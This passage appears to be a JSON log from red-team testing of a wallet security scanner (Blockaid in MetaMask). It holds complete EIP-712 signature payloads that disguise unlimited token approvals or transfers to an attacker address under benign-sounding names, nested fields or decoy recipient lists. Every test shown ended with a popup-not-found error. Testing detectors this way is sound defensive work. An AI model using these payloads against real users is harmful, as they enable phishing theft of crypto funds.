Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T19:09:55.451Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T19:10:05.020Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN58-EIP3009-022", "timestamp": "2026-01-31T19:10:14.588Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x3639d51f9c963a491acdef4eafd4485061538a4b4dde0a9ddd6046fdd4203254\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN58-EIP3009-054", "timestamp": "2026-01-31T19:10:24.150Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x4c7b9b0af71e51f69c180e53fd84535432aedb241a58692c24ae206711ca4cff\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T19:10:33.688Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T19:10:43.240Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T19:10:52.806Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T19:11:02.370Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T19:11:11.930Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T19:11:21.490Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T19:11:31.056Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T19:11:40.623Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T19:11:50.190Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T19:11:59.760Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T19:12:09.313Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T19:12:18.874Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T19:12:28.436Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "DECOY-002", "timestamp": "2026-01-31T19:12:37.999Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T19:12:47.557Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending 